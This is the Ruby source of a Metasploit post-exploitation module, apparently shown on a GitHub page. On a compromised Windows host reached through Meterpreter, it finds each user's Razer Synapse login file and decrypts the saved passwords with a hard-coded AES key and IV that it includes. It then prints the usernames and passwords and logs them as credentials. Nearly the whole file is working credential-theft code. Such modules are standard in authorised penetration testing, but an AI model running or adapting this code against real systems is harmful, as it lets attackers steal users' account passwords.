metasploit-framework/modules/post/windows/gather/credentials/razer_synapse.rb

155 lines
4.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'openssl'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Razer Synapse Password Extraction',
'Description' => %q{
This module will enumerate passwords stored by the Razer Synapse
client. The encryption key and iv is publicly known. This module
will not only extract encrypted password but will also decrypt
password using public key. Affects versions earlier than 1.7.15.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
'Matt Howard "pasv" <themdhoward[at]gmail.com>', #PoC
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
],
'References' =>
[
[ 'URL', 'http://www.pentestgeek.com/2013/01/16/hard-coded-encryption-keys-and-more-wordpress-fun/' ],
[ 'URL', 'https://github.com/pasv/Testing/blob/master/Razer_decode.py' ]
],
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ 'win' ]
))
end
def is_base64?(str)
str.match(/^([A-Za-z0-9+\/]{4})*([A-Za-z0-9+\/]{4}|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{2}==)$/) ? true : false
end
# decrypt password
def decrypt(pass)
pass = Rex::Text.decode_base64(pass) if is_base64?(pass)
cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc'
cipher.decrypt
cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
cipher.iv = "ryojvlzmdalyglrj"
pass = pass.unpack("m")[0]
password = cipher.update pass
password << cipher.final
password
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
post_reference_name: self.refname,
session_id: session_db_id,
origin_type: :session,
private_data: opts[:password],
private_type: opts[:type],
username: opts[:user]
}
if opts[:type] == :nonreplayable_hash
credential_data[:jtr_format] = 'odf-aes-opencl'
end
credential_data.merge!(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
end
# Loop throuhg config, grab user and pass
def get_creds(config)
creds = []
return nil if !config.include?('<Version>')
xml = ::Nokogiri::XML(config)
xml.xpath('//SavedCredentials').each do |node|
user = node.xpath('Username').text
pass = node.xpath('Password').text
type = :password
begin
pass = decrypt(pass)
rescue OpenSSL::Cipher::CipherError
type = :nonreplayable_hash
end
creds << {
user: user,
pass: pass,
type: type
}
end
creds
end
def razerzone_ip
@razerzone_ip ||= Rex::Socket.resolv_to_dotted("www.razerzone.com")
end
# main control method
def run
grab_user_profiles().each do |user|
if user['LocalAppData']
accounts = user['LocalAppData'] + "\\Razer\\Synapse\\Accounts\\RazerLoginData.xml"
next if not file?(accounts)
print_status("Config found for user #{user['UserName']}")
contents = read_file(accounts)
# read the contents of file
creds = get_creds(contents)
unless creds.empty?
creds.each do |c|
user = c[:user]
pass = c[:pass]
type = c[:type]
print_good("Found cred: #{user}:#{pass}")
report_cred(
ip: razerzone_ip,
port: 443,
service_name: 'http',
user: user,
password: pass,
type: type
)
end
end
end
end
end
end